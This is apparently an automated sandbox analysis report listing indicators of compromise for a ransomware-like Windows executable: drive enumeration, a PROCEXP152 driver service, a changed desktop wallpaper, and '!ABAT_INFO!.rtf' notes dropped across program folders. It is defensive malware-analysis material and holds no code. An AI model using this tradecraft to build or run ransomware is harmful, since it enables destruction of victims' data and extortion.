description ioc Process File opened for modification C:\Program Files (x86)\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Admin\Favorites\Links for United States\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Admin\Favorites\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Admin\Documents\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Public\Music\Sample Music\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Public\Downloads\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\DUF815Z1\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\Z1YRRYOY\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Admin\Videos\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Admin\Music\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Admin\Desktop\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Public\Pictures\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Public\Music\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Admin\Contacts\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Admin\Links\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Public\Videos\Sample Videos\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\YAUNGDT1\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Admin\Favorites\Links\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Public\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\JSOYQ5ME\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Public\Videos\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Admin\Downloads\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Public\Desktop\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Admin\Searches\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Admin\Saved Games\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Public\Documents\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Public\Libraries\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Admin\Pictures\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Public\Pictures\Sample Pictures\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Public\Recorded TV\Sample Media\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Public\Recorded TV\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe -
Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\K: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\F: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\B: gAw1Zqdb64.exe File opened (read-only) \??\I: gAw1Zqdb64.exe File opened (read-only) \??\L: gAw1Zqdb64.exe File opened (read-only) \??\U: gAw1Zqdb64.exe File opened (read-only) \??\Y: gAw1Zqdb64.exe File opened (read-only) \??\Z: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\M: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\H: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\G: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\E: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\Q: gAw1Zqdb64.exe File opened (read-only) \??\R: gAw1Zqdb64.exe File opened (read-only) \??\Y: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\W: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\V: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\S: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\O: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\H: gAw1Zqdb64.exe File opened (read-only) \??\T: gAw1Zqdb64.exe File opened (read-only) \??\V: gAw1Zqdb64.exe File opened (read-only) \??\Q: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\P: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\N: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\A: gAw1Zqdb64.exe File opened (read-only) \??\F: gAw1Zqdb64.exe File opened (read-only) \??\M: gAw1Zqdb64.exe File opened (read-only) \??\O: gAw1Zqdb64.exe File opened (read-only) \??\X: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\T: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\J: gAw1Zqdb64.exe File opened (read-only) \??\N: gAw1Zqdb64.exe File opened (read-only) \??\P: gAw1Zqdb64.exe File opened (read-only) \??\X: gAw1Zqdb64.exe File opened (read-only) \??\R: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\L: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\J: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\K: gAw1Zqdb64.exe File opened (read-only) \??\S: gAw1Zqdb64.exe File opened (read-only) \??\W: gAw1Zqdb64.exe File opened (read-only) \??\Z: gAw1Zqdb64.exe File opened (read-only) \??\U: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\I: 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened (read-only) \??\E: gAw1Zqdb64.exe File opened (read-only) \??\G: gAw1Zqdb64.exe -
Modifies service 2 TTPs 11 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\PROCEXP152\Start = "3" gAw1Zqdb64.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\PROCEXP152\ImagePath = "\\??\\C:\\Windows\\system32\\Drivers\\PROCEXP152.SYS" gAw1Zqdb64.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\PROCEXP152\ErrorControl = "1" gAw1Zqdb64.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\PROCEXP152\Type = "1" gAw1Zqdb64.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\PROCEXP152 gAw1Zqdb64.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5} vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PROCEXP152 gAw1Zqdb64.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Roaming\\Jc37SGyv.bmp" reg.exe -
Drops file in Program Files directory 3058 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jstack.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Krasnoyarsk 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Manila 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Petersburg 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.mbeanbrowser_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ecf.ssl_1.1.0.v20140827-1444.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-masterfs_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-1 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Beirut 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.engine_2.3.0.v20140506-1720.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\fonts\LucidaSansDemiBold.ttf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\SystemV\EST5 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tl.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\SY______.PFB 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_MoveDrop32x32.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\net.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Prague 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Mahe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\javax.xml_1.3.4.v201005080400.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.base.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT+6 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\stream_window.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\vlm_export.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\US_export_policy.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-10 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp_5.5.0.165303\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-io_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-charts_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Antarctica\Davis 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\meta\art\03_lastfm.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\LINEAR_RGB.pf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-loaders_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.net.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-api-search_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\resources.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Eucla 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.ths 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Santiago 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.alert_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.directorywatcher_1.1.0.v20131211-1531.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.sat4j.pb_2.3.5.v201404071733.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\MEIPreload\manifest.json 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Metlakatla 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Nipigon 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.emf.ecore.change_2.10.0.v20140901-1043.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Informix.xsl 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbytools.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.controlpanel.ui.configuration_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.app_1.0.300.v20140228-1829.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench3.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Singapore 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\skins\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Denver 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Detroit 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Matamoros 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\SystemV\CST6 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd.otf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-actions_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Samarkand 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ecf.provider.filetransfer.httpclient4.ssl_1.0.0.v20140827-1444.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\Other-48.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ky\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\Settings.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\TextFile.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Kiev 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Catamarca 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Guadalcanal 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Brussels 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\Welcome.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Rome 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AdobeCollabSync.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\EnterUse.3gp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\unpack200.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Hong_Kong 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+11 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Luxembourg 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\css\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-text_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\playlist\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+4 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Eucla 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.ui.ja_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Kiritimati 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\Pacific\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\cs.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\management\snmp.acl.template 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\Beulah 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Tashkent 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Dili 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program 